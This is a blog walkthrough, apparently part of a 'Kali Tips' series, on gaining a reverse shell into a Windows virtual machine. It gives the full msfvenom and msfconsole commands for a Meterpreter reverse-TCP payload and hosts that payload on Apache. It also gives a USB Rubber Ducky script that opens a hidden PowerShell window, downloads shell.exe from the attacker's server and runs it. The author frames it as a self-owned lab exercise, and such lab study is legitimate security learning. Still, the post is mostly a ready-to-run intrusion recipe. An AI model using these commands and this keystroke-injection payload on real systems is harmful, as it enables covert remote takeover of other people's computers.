So here’s a little tip/walkthrough for making and executing a MSF Reverse Shell for Windows, within Kali with a USB Rubber Ducky.
I found this to be very fun to attempt and learn about how it works. It uses ‘msfvenom’ as well as ‘msfconsole’, to create and interact with the session created by MSF.
*NOTE BEFORE CONTINUING*
Before we begin, this hack is made within a virtual environment, which I have full access to. I have a USB Rubber Ducky for injecting the payload to the Windows Virtual Computer, with Windows Defender off, to download the Reverse Shell from my Kali Machine. Also, this specific instance is for when you’re on the same network as the target machine.
First we create the payload with :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=0000 -f exe > shell.exe
Replacing the LHOST with your Kali IP address, as the Host, as well as the LPORT with any open port of your choosing. For this example, I’ll use 4444.
The -f option of msfvenom, allows you to save your output as a specific file, and in this case it is saved as an Executable file. I saved the output of all of that into an exe called shell.exe in the root directory, although you can change the name to whatever it is you prefer.
I moved the ~/shell.exe’ to the /var/www/html/ dir with the command:
sudo mv ~/shell.exe /var/www/html/
This makes it so the shell.exe file is available across the IP of Kali’s Hosted Apache Server that we’ll get to in a minute.
Then I started MSFConsole in Kali, to set up the listener for the reverse_tcp payload we’re about to download to the Windows Virtual Computer.
Once MSF is started, I specified which exploit to use by typing:
Next, I set the payload:
set payload windows/meterpreter/reverse_tcp
I looked at which options I need in order for the exploit to work by running:
After that I set the parameters for the LHOST as well as the LPORT, again. The same ones I used in the shell.exe
set LHOST 0.0.0.0
set LPORT 4444
One more thing I added in was:
set ExitOnSession false
That way the session stays open for if I need to access it again at some point.
Once that’s all set and done, I started the reverse_tcp connection by inputting:
exploit -j -z
Now it’s time to set up the Apache Web Server on Kali, so that our Windows Virtual Computer can access it. In a new terminal window, I input:
sudo service apache2 start
Once that’s up and running, I checked to make sure it’s working by heading to my web browser and putting in the IP of Kali, followed by the directory of the shell.exe.
Looks like it’s working. Now I set up my USB Rubber Ducky so my Windows Virtual Computer downloads the shell.exe payload.
There is a very handy website I found and use to write and encode my Ducky Scripts found HERE. The script is as follows:
DELAY 2000 GUI r DELAY 1000 STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://*kaliIP*/shell.exe','%TEMP%\shell.exe'); Start-Process "%TEMP%\shell.exe" ENTER
Encode and Save the inject.bin file, Moved it onto the root directory of my Rubber Ducky.
Next I plugged the Rubber Ducky into the Windows Virtual Computer, and let it do it’s work. It opened up the run command and input exactly what it was supposed to. Downloaded the shell from my Apache Web Server, and it ran it.
Once that was done, I jumped back over to Kali and checked the sessions on MSF.
I got a session, and interacted with it. Just like that we’re connected to the Windows Virtual Computer, via ReverseShell.
Read all the entries in this series!
- Reinstall Grub Bootloader on a Dual boot laptop Kali Tips #1
- Automatically Log Terminal Kali Tips #2
- Add Message to Terminal Kali Tips #3
- Code Editor Kali Tips #4
- Convert MSG to PDF Kali Tips #5
- Run Metasploit Module One Liner Kali Tips #6
- Check External IP Kali Tips #7
- Search Packages in Common Package Managers Kali Tips #8